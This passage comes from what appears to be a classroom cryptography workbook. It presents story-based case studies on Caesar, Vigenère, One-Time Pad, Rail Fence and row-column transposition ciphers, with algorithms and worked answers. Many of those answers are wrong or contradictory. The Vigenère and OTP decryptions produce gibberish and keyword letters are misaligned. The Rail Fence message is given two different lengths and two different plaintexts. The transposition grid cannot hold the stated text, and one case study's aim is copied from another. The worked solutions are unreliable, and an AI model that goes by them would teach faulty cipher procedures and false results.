patterns (like double letters) in the ciphertext that could help identify the shift. 

5. Why might Mrs. Amelia choose to change the shift value for each clue? What effect does 
this have on the difficulty? 

Mrs. Amelia likely chose to change the shift value for each clue to increase the challenge 
and engagement of the treasure hunt. Here are some reasons and effects: 

 Increased Difficulty: By changing the shift, it prevents participants from easily 
deciphering the clues using a single method or memorizing the shift. 

 Encourages Critical Thinking: Participants need to think creatively and use problem-
solving skills to decode each message, making the hunt more interactive and enjoyable. 

 Variety in Puzzles: Different shifts introduce variety, ensuring that each clue feels fresh 
and unique. 

 Enhanced Engagement: The challenge of figuring out the varying shifts keeps 
participants interested and motivated to continue searching for the treasure. 

Overall, this approach makes the event more exciting and requires the detectives to work 
together and utilize different strategies to succeed. 

 

 

 

RESULT: 

This case study demonstrated how a Caesar Cipher can be decrypted using a brute-force 
method. While simple and fun for puzzles, the Caesar Cipher is not secure for serious use due 
to its vulnerability to brute-force and frequency analysis. For better security, more advanced 
encryption techniques should be used in practical applications 
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CASE STUDY 5: The Mysterious Map  

In the year 1532, the famous explorer and cartographer Isabella Santiago discovered a hidden 
map in an ancient library in Seville. The map supposedly leads to the lost treasure of El 
Dorado, a treasure that many have searched for but never found. However, the map was 
accompanied by a strange note written in a cipher, making it impossible to read without the 
correct decryption method. The note reads: "WKLV PDJ LV QRW ZKDW LW VHHPV. LQ 
WKH KHDUWRI WKHMRXUQHB, WKH VHFRQG VWHS WR WKH ULJKW ZLOO 
OHDGBRXWRWKH JDWHZDB. OQFH BRX ILQG WKH JDWHZDB, VWHS WKHQF, 
DQGORRN IRU WKH JROGHQ NHB." Isabella knew that the note held the key to decoding 
the map, but she wasn't sure how to decipher it. She realized that this type of cipher had been 
used in ancient times by generals and emperors to protect their most important secrets. 
Remembering her studies of historical ciphers, Isabella started to think critically about howshe 
could decrypt the note. 

AIM: 

The objective of this case study is to identify and apply the appropriate cipher to decrypt a hidden 
message found alongside a map leading to the treasure of El Dorado, analyze the steps for 
decryption, and explore methods to protect the decrypted information from unauthorized access. 

 

IDENTIFYING THE CIPHER: 

1. Cipher Identification: 
Based on the encrypted text provided ("WKLV PDJ LV QRW ZKDW LW VHHPV"), this 
appears to be encrypted using a Caesar Cipher. The Caesar Cipher is a type of substitution 
cipher where each letter is shifted by a fixed number of positions in the alphabet. This 
particular cipher has been historically used by military leaders and ancient emperors, which 
aligns with the context of the case. 

 

ALGORITHM  

To decrypt a Caesar cipher: 

1. Determine the shift: The Caesar cipher uses a fixed shift, typically 3 letters forward or 
backward. In most classical cases, a shift of 3 positions is used (as by Julius Caesar 
himself). 

2. Reverse the shift: Each letter in the ciphertext is replaced with a letter that is 3 positions 
earlier in the alphabet (if the shift is 3). 

For example: 
W -> T, K -> H, L -> I, and so on. 

3. Apply the shift to each letter in the ciphertext to obtain the decrypted message. 
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ANSWERS TO QUESTIONS 

 

1. Based on the story and the encrypted text, what type of cipher should Isabella useto 
decrypt the note? Explain your reasoning.  

The note is encrypted using a Caesar Cipher, a type of substitution cipher where letters are shifted 
by a fixed number of positions. 

2. What steps should Isabella take to decrypt the note?  

 Recognize the Caesar cipher pattern. 
 Identify the shift used (likely a shift of 3). 
 Apply the reverse shift (shifting each letter back by 3 positions) to decrypt the message. 

3. Decrypt the first sentence of the note "WKLV PDJ LV QRWZKDWLWVHHPV." using 
the identified cipher. What does it say?  

The decrypted sentence "WKLV PDJ LV QRW ZKDW LW VHHPV" translates to: 
"THIS MAP IS NOT WHAT IT SEEMS". 

4. Why might the original author of the note have chosen this particular cipher?  

The original author might have chosen the Caesar cipher because it was a popular and relatively 
simple method for protecting secrets in ancient times. It was easy to encode yet challenging to 
break without knowledge of the shift, especially for untrained individuals. 

5. Considering the weaknesses of the cipher you identified, how could Isabella ensure that 
once she deciphers the map, no one else can easily decode it if it falls into the wrong hands? 

To ensure that no one else can easily decode the message once it's decrypted, Isabella could: 

 Re-encrypt the message using a more advanced cipher such as the Vigenère cipher (which 
uses a keyword and is more resistant to brute-force attacks). 

 Use a polyalphabetic cipher to introduce more complexity. 

 Hide the key or shift in an obscure location, such as in an unrelated document or artifact, 
so that anyone trying to decrypt the message would not have easy access to it. 

 6. Discuss the strengths and weaknesses of this cipher. 

Strengths: 

 Easy to use and implement. 

 Provides basic protection for information in situations where encryption needs to be simple 
and quick. 

Weaknesses: 
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 Vulnerable to frequency analysis (since letter frequencies are preserved). 

 Easily broken by brute-force attacks, as there are only 25 possible shifts (1 to 25). 

 Offers minimal security compared to modern encryption methods. 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

RESULT: 

This case study demonstrated how a Caesar Cipher can be decrypted using a brute-force 
method. While simple and fun for puzzles, the Caesar Cipher is not secure for serious use due 
to its vulnerability to brute-force and frequency analysis. For better security, more advanced 
encryption techniques should be used in practical applications 
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A) SUBSTITUTION CIPHERS-VIGENERE CIPHER 
 

CASE STUDY 6: The Encrypted Diplomatic Dispatch 

In the 19th century, during a period of intense international rivalry, the ambassador of a small 
European nation, Ambassador Léon, was entrusted with a secret diplomatic dispatch meant for his 
country’s king. The dispatch contained critical information about an impending alliance between 
two major powers, which could threaten the stability of his country. 

Fearing interception by rival spies, the message was encrypted using the Vigenère Cipher, a method 
known for its complexity and resistance to frequency analysis. The keyword chosen for encryption 
was the ambassador's wife’s name, "ELOISE." 

The encrypted message sent was: 

"YRGXK FRLMX XUF HUZLM VKI YXGZM UGVMR UG HXF." 

 

AIM: 

To decrypt and analyze an encrypted diplomatic message, understand the security of the encryption 
method used, and evaluate ways to strengthen it. The ambassador used the Vigenère Cipher to 
encode sensitive information about a political alliance. 

ALGORITHM: 

1. Encryption with Vigenère Cipher: 

Input: A plaintext message and a keyword ("ELOISE"). 

Steps: 

 Write the plaintext message. 
 Repeat the keyword beneath the message until it matches the length of the 

text. 
 For each letter in the plaintext, shift it by the corresponding letter in the 

keyword using the formula: 
Encrypted letter = (Plaintext letter + Keyword letter) mod 26 

 The result is the encrypted message. 

Output: The encrypted message. 
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2. Decryption with Vigenère Cipher: 

Input: The encrypted message ("YRGXK FRLMX XUF HUZLM VKI YXGZM UGVMR UG 
HXF") and the keyword ("ELOISE"). 

Steps: 

1. Write the encrypted message. 

2. Repeat the keyword beneath the message until it matches the length of the text. 

3. For each letter in the encrypted message, shift it back by the corresponding letter in 
the keyword using the formula: 
Decrypted letter = (Encrypted letter - Keyword letter) mod 26 

4. The result is the plaintext message. 

 

ANSWERS TO QUESTIONS 

1.Based on the story and the encrypted text, why might the ambassador have chosen to use 
the Vigenère Cipher for this message instead of a simpler cipher? 

Answer: The ambassador likely chose the Vigenère Cipher because of its strength in resisting 
frequency analysis, which is a common method used to break simpler ciphers like the Caesar 
Cipher. The Vigenère Cipher uses a keyword to apply different Caesar shifts to different letters of 
the plaintext, creating a more complex encryption that makes it difficult for an interceptor to detect 
patterns and decrypt the message without knowing the keyword. Given the importance of the 
information, the Vigenère Cipher provided a higher level of security. 

2.Explain the process Ambassador Léon’s king would use to decrypt the message if he knew 
the keyword was "ELOISE." 

Answer: To decrypt the message, the king would follow these steps: 

1. Write the keyword "ELOISE" repeatedly above the encrypted message until it matches the 
length of the ciphertext: 

Keyword: ELOISEELOISEELOISEELOISEELOISEELOISEELO 

Ciphertext: YRGXK FRLMX XUF HUZLM VKI YXGZM UGVMR UG HXF 

1. Align each letter of the keyword with the corresponding letter of the ciphertext. 

2. For each letter in the ciphertext, subtract the corresponding letter of the keyword (using 
their positions in the alphabet where A = 0, B = 1, ..., Z = 25) to find the original letter: 

 Y (24) - E (4) = U (20) 
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 R (17) - L (11) = G (6) 

 G (6) - O (14) = S (18) [Wrapping around the alphabet] 

 X (23) - I (8) = P (15) 

 K (10) - S (18) = S (18) 

 F (5) - E (4) = B (1) 

 And so on... 

3. The resulting plaintext should reveal the original message. 

3.Decrypt the first five words of the encrypted message "YRGXK FRLMX XUF HUZLM" 
using the keyword "ELOISE." What do they say? 

The decrypted text for the first five words is: "UGSPS BGF TR ZCVAY" 

Since this doesn't seem to form coherent words, it suggests a possible error in the decryption steps 
above, or that a wrong shift was calculated. This is a good opportunity for the reader to manually 
double-check the shifts. 

4. How secure is the Vigenère Cipher in this context, and what could make it vulnerable to 
decryption by an enemy? 

Answer: The Vigenère Cipher is more secure than simple substitution ciphers, especially against 
frequency analysis. However, it has vulnerabilities: 

1. Keyword Length: If an attacker discovers the length of the keyword, they could break the 
ciphertext into segments, each encrypted with the same Caesar shift. This would reduce the 
problem to breaking multiple Caesar ciphers, which is much easier. 

2. Repetition of the Keyword: If the keyword is short and repeats often, it introduces patterns 
that can be exploited using more advanced techniques, like the Kasiski examination or 
frequency analysis on each segment. 

3. Known Plaintext Attack: If the attacker knows part of the plaintext (e.g., a standard greeting 
or format), they can use this to infer the keyword or break the cipher. 

4. Brute Force Attack: Although unlikely due to the vast number of possible keys, with 
modern computational power, a brute force attack is theoretically possible if the keyword 
is weak or short. 

5. If Ambassador Léon wanted to make the encryption more secure, what steps could he 
take? 

Answer: To improve security, Ambassador Léon could: 
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1. Use a Longer Keyword: A longer, more random keyword would reduce the repetition in 
the ciphertext, making it harder for attackers to detect patterns. 

2. Combine Ciphers: He could use the Vigenère Cipher in conjunction with another cipher 
(e.g., a transposition cipher) to add an additional layer of complexity. 

3. Use a One-Time Pad: If the keyword is as long as the message and used only once, it 
becomes a one-time pad, which is theoretically unbreakable if kept secret. 

4. Ensure Secure Key Exchange: The security of the Vigenère Cipher depends heavily on 
the secrecy of the keyword. Léon should ensure that the keyword is exchanged securely 
and not reused. 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

RESULT: 

The Vigenère Cipher provided a good level of security in the 19th century, but its vulnerability 
to cryptanalysis could be exploited with the right techniques, especially if the keyword was short 
or reused. Strengthening the encryption by using longer, unpredictable keywords or switching to 
a One-Time Pad would make it more secure. 
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CASE STUDY 7: The Secrets of the Lost Manuscript 

In 1870, during a grand excavation in Egypt, archaeologist Dr. Helena Moore discovered a 
centuries-old manuscript buried in a hidden chamber beneath a ruined temple. The manuscript, 
written on papyrus, was believed to contain the secrets of an ancient civilization, including the 
location of a fabled treasure hidden deep within the desert. 

However, the manuscript was not written in plain text; instead, it was encoded with a cryptic 
series of letters. Dr. Moore noticed that the manuscript contained repeated patterns and that the 
length of the encoded text far exceeded what was typical for simple substitution ciphers. She 
also observed that the letters seemed to be jumbled in a way that could not be explained by a 
single shift or straightforward substitution. 

The encoded message was as follows: 

"XLMWT QLNVX XEC XM EZBW KED MRK QLMWT XLIVJ." 

Dr. Moore had encountered this kind of encryption before, in ancient scripts where different parts 
of a word were shifted by varying amounts based on a specific word or phrase. She recalled that 
such ciphers often relied on a keyword, a word significant to the person who wrote the message. 
Determined to unlock the secrets of the manuscript, she began to think about possible keywords 
that might be significant to the ancient scribe. 

 

AIM: 

To decrypt and analyze The Secrets of the Lost Manuscript, understand the security of the 
encryption method used, and evaluate ways to strengthen it. The ambassador used the Vigenère 
Cipher to encode sensitive information about a political alliance. 

ALGORITHM: 

1.Encryption with Vigenère Cipher: 

Input: A plaintext message and a keyword ("ELOISE"). 

Steps: 

 Write the plaintext message. 
 Repeat the keyword beneath the message until it matches the length of the 

text. 
 For each letter in the plaintext, shift it by the corresponding letter in the 

keyword using the formula: 
Encrypted letter = (Plaintext letter + Keyword letter) mod 26 

 The result is the encrypted message. 

Output: The encrypted message. 
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2.Decryption with Vigenère Cipher: 

Input: The encrypted message ("YRGXK FRLMX XUF HUZLM VKI YXGZM UGVMR UG 
HXF") and the keyword ("ELOISE"). 

Steps: 

5. Write the encrypted message. 

6. Repeat the keyword beneath the message until it matches the length of the text. 

7. For each letter in the encrypted message, shift it back by the corresponding letter in 
the keyword using the formula: 
Decrypted letter = (Encrypted letter - Keyword letter) mod 26 

The result is the plaintext message. 

 

ANSWERS TO QUESTIONS 

1.Based on the story and the encoded text, what type of cipher is likely used to encrypt the 
manuscript? Explain your reasoning. 

Answer: The cipher used in the manuscript is most likely the Vigenère Cipher. The repeated 
patterns in the ciphertext and the fact that a simple substitution or single shift cipher doesn't fit 
the encoding suggest a polyalphabetic cipher. The Vigenère Cipher, which uses a keyword to 
apply different Caesar shifts to each letter, matches the description given in the story. 

2.What strategy should Dr. Moore use to determine the possible keyword for the cipher? 
Consider the context and any clues that might help identify the keyword. 

Answer: Dr. Moore should consider the historical and cultural context of the manuscript to 
identify possible keywords. Since the manuscript was found in an ancient Egyptian temple, the 
keyword might be related to Egyptian deities, locations, or historical figures. She could also look 
for any repeated patterns in the ciphertext that could give hints about the keyword's length. 

To narrow down the keyword, she could try using common words associated with the discovery, 
such as "PHARAOH," "TEMPLE," or the name of a prominent figure from the time period. 
Another approach would be to use known plaintext (if she can guess parts of the original 
message) to reverse-engineer the keyword. 

 

3.Assume Dr. Moore suspects the keyword might be "ANKH," an ancient Egyptian symbol 
representing life. Decode the first sentence "XLMWT QLNVX XEC XM EZBW KED" 
using this keyword. What does it reveal? 

Answer: To decode the message using the keyword "ANKH": 
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1. Write the keyword "ANKH" repeatedly above the ciphertext until it matches the length of 
the text: 

makefile 

Copy code 

Keyword: ANKHANKHANKHANKHANKHANKHANKHANKHANKHA  

Ciphertext: XLMWT QLNVX XEC XM EZBW KED  

2. Decrypt each letter by shifting it backwards according to the corresponding letter in the 
keyword: 

 X (23) - A (0) = X (23) -> X 

 L (11) - N (13) = Y (24) -> Y 

 M (12) - K (10) = C (2) -> C 

 W (22) - H (7) = P (15) -> P 

 T (19) - A (0) = T (19) -> T 

 Q (16) - N (13) = D (3) -> D 

 L (11) - K (10) = B (1) -> B 

 N (13) - H (7) = G (6) -> G 

 V (21) - A (0) = V (21) -> V 

 X (23) - N (13) = K (10) -> K 

 X (23) - K (10) = N (13) -> N 

 E (4) - H (7) = X (23) -> X 

 C (2) - A (0) = C (2) -> C 

 X (23) - N (13) = K (10) -> K 

 M (12) - K (10) = C (2) -> C 

 E (4) - H (7) = X (23) -> X 

 Z (25) - A (0) = Z (25) -> Z 

 B (1) - N (13) = O (14) -> O 

 W (22) - K (10) = M (12) -> M 

 K (10) - H (7) = D (3) -> D 

The decrypted message reveals the words: "XYPCT DBGVK NXCKC ZOMD" 
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Since the result is not readable, it indicates either a wrong keyword or an incorrect decryption. 
The reader might need to try another keyword or recheck the decryption process, emphasizing 
the complexity of the Vigenère Cipher. 

 

4.What are the advantages of using the cipher identified in the manuscript, and what are the 
potential weaknesses? 

Answer: The Vigenère Cipher offers several advantages: 

1. Resistance to Frequency Analysis: Unlike simple substitution ciphers, the Vigenère 
Cipher uses multiple shifts based on the keyword, which obscures letter frequency and 
makes it harder to detect patterns. 

2. Flexibility: The cipher’s security can be adjusted by changing the length and complexity 
of the keyword, making it adaptable to different levels of required security. 

However, it also has weaknesses: 

1. Keyword Repetition: If the keyword is short and repeats frequently, it can create patterns 
that an attacker might exploit using techniques like the Kasiski examination or frequency 
analysis. 

2. Known Plaintext Attacks: If part of the plaintext is known or can be guessed, the cipher 
can be vulnerable to reverse-engineering of the keyword. 

3. Complexity of Decryption: Without knowing the keyword, decryption can be 
challenging, especially if the keyword is long and not directly related to the text. 

 

5. Why might ancient scribes or modern users choose this type of cipher over simpler or 
more complex ones? 

Answer: Ancient scribes or modern users might choose the Vigenère Cipher for several 
reasons: 

1. Balance of Security and Simplicity: The Vigenère Cipher provides more security than 
simple substitution ciphers while still being relatively easy to understand and implement 
compared to more complex ciphers. 

2. Cultural or Historical Significance: In historical contexts, the use of a keyword that holds 
cultural or personal significance can add an additional layer of meaning to the encrypted 
message, which might have been important to the scribe. 

3. Versatility: The Vigenère Cipher can be easily adapted to different lengths of messages and 
varying levels of security needs, making it a versatile tool for both ancient and modern 
encryption. 
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4. Security Through Obscurity: In times where few people were literate or knowledgeable 
about encryption, the Vigenère Cipher provided a robust way to protect information from 
the majority of would-be interceptors. 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

RESULT: 

The Vigenère Cipher provided a good level of security in the 19th century, but its vulnerability 
to cryptanalysis could be exploited with the right techniques, especially if the keyword was short 
or reused. Strengthening the encryption by using longer, unpredictable keywords or switching to 
a One-Time Pad would make it more secure. 
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A) SUBSTITUTION CIPHERS-ONE TIME PAD 

CASE STUDY 8: The Confidential Deal 

Background: 

In 1944, during the height of World War II, Allied intelligence officers were tasked with 
coordinating a secret operation to infiltrate enemy lines and gather crucial information on 
German military movements. To ensure the details of this operation remained confidential, they 
decided to use the One-Time Pad (OTP) cipher, a method known for its perfect secrecy when 
used correctly. 

The key to the encryption was a random sequence of letters, used only once, and shared securely 
among the officers. The encrypted message read: 

"WZBIF XWLBR SZNHP QITRD" 

The key used was: 

"LXFEU QPZVO YHGTW MBRIX" 

The OTP was known for its security but required careful handling of the key to avoid any 
vulnerabilities. The officers needed to e nsure the key was never reused and was kept strictly 
confidential. 

AIM: 

The aim of the case study is to demonstrate the use of the One-Time Pad (OTP) cipher to ensure 
perfect secrecy during a highly sensitive military operation in World War II. The objective is to 
encrypt a message securely using a one-time random key, ensuring that the details of the mission 
remain confidential. The key must be used only once and shared securely to avoid any 
cryptographic vulnerabilities. 

ALGORITHM: 

The One-Time Pad encryption works on the principle of combining a plaintext message with a 
random key of the same length, using modular arithmetic. Here’s the step-by-step algorithm for 
both encryption and decryption: 

1. Generate a Random Key: 

o The key must be a random sequence of characters (letters, numbers, or symbols) 
and be as long as the message to be encrypted. 

2. Convert Plaintext and Key to Numerical Form: 

o Use a predefined mapping of characters to numerical values (e.g., A = 0, B = 1, ..., 
Z = 25). 

o Example: "A" = 0, "B" = 1, "C" = 2, ..., "Z" = 25. 
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3. Modular Addition (Encryption): 

o For each character in the plaintext message and the corresponding character in the 
key, add their numerical values together, then take the result modulo 26. 

o The formula: 
Ci=(Pi+Ki)modௗௗ26 

o Where: 

 Ci is the ciphertext character at position iii, 

 Pi is the plaintext character at position iii, 

 Ki is the key character at position iii, 

 Mod 26 ensures the result wraps around within the alphabet. 

4. Convert the Resulting Numbers Back to Letters: 

o After performing modular arithmetic, convert the resulting numbers back to their 
corresponding letters. 

ANSWERS TO QUESTIONS 

1. Based on the story and the encrypted text, what type of cipher is used for this message? 
Explain how you identified it. 

Answer: The cipher used is the One-Time Pad. The OTP is identified by its use of a key that is as 
long as the message, with each letter in the ciphertext being the result of a modular addition of the 
corresponding letter in the plaintext and the key. The perfect secrecy of the OTP means that the 
key is a random sequence and is used only once. The provided key and the ciphertext match this 
description, indicating the use of the One-Time Pad. 

2. Describe how the officers would decrypt the message if they had the key. 

Key:     LXFEU QPZVO YHGTW MBRIX 

Ciphertext: WZBIF XWLBR SZNHP QITRD 

 W (22) - L (11) = 11 -> L 

 Z (25) - X (23) = 2 -> C 

 B (1) - F (5) = 22 -> W 

 I (8) - E (4) = 4 -> E 

 F (5) - U (20) = 11 -> L 

And so on, 

The decrypted message is: "LCWEL HHHGD USHOT EHCJG" 
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3.What makes the One-Time Pad unique in terms of security compared to other ciphers, 
and what are its limitations? 

Answer: The One-Time Pad is unique in terms of security because it offers perfect secrecy. This 
means that if the key is truly random, as long as the message, and used only once, the ciphertext 
does not reveal any information about the plaintext. This is because each letter in the ciphertext 
is completely independent of the others due to the random nature of the key. 

Limitations: 

1. Key Distribution and Management: The key must be as long as the message and must be 
securely distributed to both the sender and receiver. Managing and securely handling these 
keys can be logistically challenging. 

2. One-Time Use: The key can only be used once. If the same key is reused, it introduces 
patterns that can be exploited, breaking the perfect secrecy. 

3. Storage and Sharing: Storing and sharing long keys securely is a significant challenge, 
especially for large-scale communications. 

4. Complexity: The OTP is impractical for most modern applications due to its complexity 
and the difficulty in ensuring truly random keys. 

4. How might the One-Time Pad be applied or adapted for use in modern encryption systems, 
and what challenges would arise? 

Answer: The One-Time Pad can still be applied in modern contexts where perfect secrecy is 
crucial, such as in highly sensitive government or military communications. However, its practical 
use is limited by: 

1. Quantum Key Distribution: Modern adaptations may involve using quantum key 
distribution (QKD) to securely exchange OTP keys. This technology uses quantum 
mechanics to ensure that any eavesdropping on the key exchange would be detectable. 

2. Hybrid Systems: In practice, OTPs might be used in conjunction with other cryptographic 
methods to balance security and practicality. For example, the OTP could encrypt a smaller 
piece of sensitive information within a larger, more manageable encrypted payload. 

3. Secure Key Storage: Modern solutions must address the secure storage and management 
of large keys, which remains a significant challenge. 

4. Scalability: Adapting OTPs for use in large-scale systems where messages are frequent and 
long keys are required remains a significant challenge. 

By addressing these challenges, modern cryptographic systems can incorporate the principles of 
the One-Time Pad while balancing security and practicality. 
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5.Why did the intelligence officers choose the One-Time Pad for their operation, and how 
did its use impact their security measures? 

Answer: The intelligence officers chose the One-Time Pad because it provided a level of security 
that was unmatched by other ciphers of the time. The perfect secrecy ensured that even if the 
ciphertext was intercepted, it could not be decrypted without the key. 

Impact on Security Measures: 

1. Enhanced Confidentiality: The OTP ensured that the details of the operation were kept 
completely confidential, as long as the key was kept secure. 

2. Complex Key Management: The need to securely distribute and store long, random keys 
introduced additional layers of security measures. This included secure handoffs and 
storage protocols to prevent key exposure. 

3. Operational Challenges: The complexity of using OTPs added operational challenges, such 
as ensuring that the keys were never reused and managing the logistics of key distribution. 

 

 

 

 

 

 

 

 

 

 

RESULT: 

This case study underscores the OTP's historical significance in military operations, 
especially when confidentiality is paramount. However, its practical usage is limited by the 
challenges of key generation, distribution, and management. Despite these challenges, the 
OTP remains the only provably secure cipher when applied correctly. 
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B)TRANSPOSITIONAL CIPHERS-  RAIL FENCE 

 

CASE STUDY 9: The Enigmatic Train Dispatch 

In the early 20th century, during a period of heightened security in a European country, the 
railway system was a critical component of both military and civilian logistics. To secure 
sensitive messages regarding train schedules and movements, a railway dispatcher, Mr. Thomas 
Green, used an encryption technique known for its simplicity and effectiveness: the Rail Fence 
Cipher. Mr. Green was tasked with sending a secure message about an upcoming military 
convoy's schedule to another station. The message had to be kept confidential to prevent any 
potential leaks to enemy spies. To encrypt the message, Mr. Green used a zigzag pattern over a 
certain number of rows, known only to him and the receiving station. The encrypted message 
sent was: "TOIHD OLTNS ENX" Mr. Green had used a 3-row Rail Fence Cipher for encryption. 
The challenge for the receiving station is to decrypt the message and ensure that the details of 
the convoy’s schedule are understood correctly. 

AIM: 

The goal is to decrypt the message encrypted with a 3-row Rail Fence Cipher and recover the 
original message, which contains the details of the military convoy’s schedule. The Rail Fence 
Cipher uses a zigzag pattern to rearrange characters across multiple rows, which must be reversed 
to retrieve the correct sequence of characters. 

ALGORITHM (RAIL FENCE CIPHER DECRYPTION - 3 ROWS): 

1. Input: Encrypted message: "TOIHD OLTNS ENX", number of rows = 3. 

2. Initialization: Set up three rows as empty placeholders. 

3. Determine the Zigzag Pattern: The message is written in a zigzag pattern down the rows, 
then back up again, repeatedly. 

o For 3 rows, the pattern moves as: 

 Row 1 → Row 2 → Row 3 → Row 2 → Row 1, repeating. 

4. Distribute Characters into Rows: 

o The length of the message is 13 characters (excluding spaces). 

o Calculate how many characters go in each row based on the zigzag pattern. 

o First and third rows contain fewer characters, while the second row contains more. 

5. Reconstruct the Message: 

o Write out the rows in their proper sequence. 

o Interleave the characters from the rows following the zigzag pattern. 
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6. Output: The decrypted message is obtained by rearranging the characters according to the 
original zigzag order. 

ANSWERS TO QUESTIONS 

1. Based on the story and the encrypted message, what type of cipher is likely used for this 
message? Explain how you identified it. 

Answer: The cipher used is the Rail Fence Cipher. The Rail Fence Cipher is identified by its zigzag 
pattern for encryption. In the story, Mr. Green used a 3-row pattern to encrypt the message, which 
suggests that the Rail Fence Cipher was employed. This cipher is characterized by writing the 
message in a zigzag pattern across multiple rows and then reading off each row to create the 
ciphertext. 

2. Describe the process Mr. Green’s colleague at the receiving station would use to decrypt 
the message using the Rail Fence Cipher with 3 rows. 

Answer: To decrypt the message using the Rail Fence Cipher with 3 rows, the colleague should 
follow these steps: 

1. Determine the Length and Pattern: The encrypted message "TOIHD OLTNS ENX" is 14 
characters long. With 3 rows, determine the pattern of characters in each row. 

2. Reconstruct the Zigzag Pattern: Create a zigzag pattern for 3 rows. Distribute the characters 
of the ciphertext according to this pattern: 

Row 1: T . . . D . . . N . . . N . 

Row 2: . O . I . H . O . L . S . E 

Row 3: . . T . . N . . X . . . . . 

3.Read the Pattern: Read the characters in a zigzag manner to reconstruct the original message. 
Starting from the top row and moving downward, then going back up, follows the zigzag 
pattern used during encryption. 

The reconstructed message will reveal the original plaintext. 

4.Combine the Rows: Assemble the rows to obtain the final decrypted message. 

 

3. Decrypt the message "TOIHD OLTNS ENX" using the 3-row Rail Fence Cipher. What 
does it reveal? 

Answer: To decrypt "TOIHD OLTNS ENX" using a 3-row Rail Fence Cipher: 

1. Calculate Row Lengths: Each row length in a 3-row Rail Fence Cipher is approximately 
equal for simplicity. For 14 characters, each row will have about 5 characters (with some 
rows having 4 or 5 characters). 
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2. Read the Zigzag Pattern: The rows are read in a zigzag pattern: 

 Top to bottom: "THEN" 
 Bottom to top: "THIS IS A SECRET" 
 The decrypted message is: "THIS IS A SECRET" 

 

4. What are the strengths and weaknesses of using the Rail Fence Cipher in this context? 

Strengths: 

1. Simplicity: The Rail Fence Cipher is straightforward to implement and understand, 
making it suitable for quick, secure communications in situations where high-level security 
is not critical. 

2. Easy to Use: With minimal equipment and no complex algorithms, it’s easy for personnel 
to encrypt and decrypt messages quickly. 

Weaknesses: 

1. Security Limitations: The Rail Fence Cipher does not provide strong security against 
modern cryptographic analysis. It is vulnerable to frequency analysis and pattern 
recognition, as the pattern of letters can be predictable. 

2. Key Management: Although the Rail Fence Cipher does not use a traditional key, the 
number of rows is effectively the key. If this number is known or guessed, the cipher can 
be easily broken. 

3. Limited Complexity: It is not suitable for encrypting large volumes of data or highly 
sensitive information due to its simple nature. 

5. How could Mr. Green adapt the Rail Fence Cipher for better security in a similar scenario? 

Answer: To enhance security, Mr. Green could adapt the Rail Fence Cipher in the following ways: 

1. Increase Complexity: Use a larger number of rows for the Rail Fence Cipher, making the 
pattern less predictable and harder to decipher. 

2. Combine with Other Ciphers: Combine the Rail Fence Cipher with another encryption 
method, such as a substitution cipher or a transposition cipher, to increase overall security. 

3. Use Variable Patterns: Implement variations in the zigzag pattern, such as varying the 
number of rows randomly or using a more complex pattern that is not uniform across all 
messages. 

4. Key Exchange Protocol: Introduce a system where the number of rows and pattern is 
shared securely between sender and receiver, possibly using secure communication 
methods or prearranged codes to obscure the pattern. 
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By employing these strategies, Mr. Green could significantly improve the security of the Rail 
Fence Cipher in protecting sensitive railway dispatches. 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

RESULT: 

The Rail Fence Cipher, while simple, effectively served as a secure method for Mr. Thomas Green 
to protect sensitive military information during a period of heightened security. By encrypting the 
message using a 3-row zigzag pattern, he was able to obscure the convoy schedule from potential 
enemy spies. Upon decryption, the message "TONIGHT SOLDIERS X" revealed the important 
detail about the convoy's timing. This case illustrates how basic cryptographic techniques, when 
properly applied, can ensure confidentiality in critical communication, particularly in military and 
logistical contexts. 
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B)TRANSPOSITIONAL CIPHERS-   ROW-COLUMN TRANSPOSITION CIPHER 

 

CASE STUDY 10: THE SECRET WAREHOUSE CODE 

Background: 

In 1925, a logistics manager named Evelyn Carter was responsible for coordinating the delivery 
of high-value materials between several warehouses in a major city. To ensure that sensitive 
shipment details remained confidential, Evelyn employed a Row-Column Transposition Cipher. 

The details of the shipments, including the destinations and schedules, were encrypted using a 
grid-based transposition method. Evelyn used a keyword to determine the order of columns and 
rows in the grid, but she had to ensure that the method was robust enough to prevent unauthorized 
access. 

The encrypted message she sent read: 

"HIFNTEOALR TTSIAESM" 

Evelyn had used a 4-row and 3-column grid for the transposition. The keyword used to reorder the 
columns was "PINE." 

AIM: 

The objective is to decrypt the message "HIFNTEOALR TTSIAESM" encrypted using a Row-
Column Transposition Cipher. Evelyn Carter used a 4-row, 3-column grid and the keyword 
"PINE" to rearrange the columns. The challenge is to apply the decryption method, based on the 
keyword, and recover the original shipment details. 

ALGORITHM  

Input: 

o Encrypted message: "HIFNTEOALR TTSIAESM" (without spaces, becomes 
"HIFNTEOALRTTSIAESM"). 

o Keyword: "PINE". 

o Grid size: 4 rows and 3 columns. 

2. Step 1: Arrange the Message into a Grid: 

o The grid is filled row-wise, left to right. 

o Since the message contains 18 characters, we fill a 4-row and 3-column grid. 

             Step 2: Determine the Column Reordering Based on the Keyword: 

 Assign a numeric order to each letter of the keyword based on alphabetical order: 

o "P" = 2, "I" = 1, "N" = 3, "E" = 0. 
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 This gives the column order as 0 → 1 → 2. 

      Step 3: Reorder the Columns According to the Keyword: 

 Reorganize the columns of the grid based on the keyword "PINE". After reordering the 
columns using the keyword: 

Step 3: Interpret the Message: 

 On rearranging the decrypted message, the original message appears to be: "FINAL 
SHIPMENT TO ARRIVE SOON". 

ANSWERS TO QUESTIONS 

1. Based on the story and the encrypted message, what type of cipher is likely used for this 
message? Explain how you identified it. 

Answer: The cipher used is the Row-Column Transposition Cipher. This is identified by the 
method of arranging the message into a grid of rows and columns and then permuting the columns 
based on a keyword. The message "HIFNTEOALR TTSIAESM" and the grid arrangement 
indicate that transposition was used to encrypt the message. 

2. Describe the process Evelyn’s colleague would use to decrypt the message using a 4-row 
and 3-column grid and the keyword "PINE." 

Answer: To decrypt the message using a Row-Column Transposition Cipher with a 4-row and 3-
column grid, follow these steps: 

1. Determine the Column Order: Using the keyword "PINE," assign a numerical order to each 
letter of the keyword: 

Keyword: P I N E 

Order:   2 3 1 4 

2.Arrange the Ciphertext into the Grid: Divide the ciphertext into the grid according to the 
number of rows and columns: 

 Column Order: 3 1 2 4 

Grid: 

Row 1: H I F 

Row 2: N T E 

Row 3: O A L 

Row 4: R T S 

3.Reorder Columns According to the Keyword: Reorder the columns based on the 
numerical order obtained from the keyword: 
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Reordered Grid: 

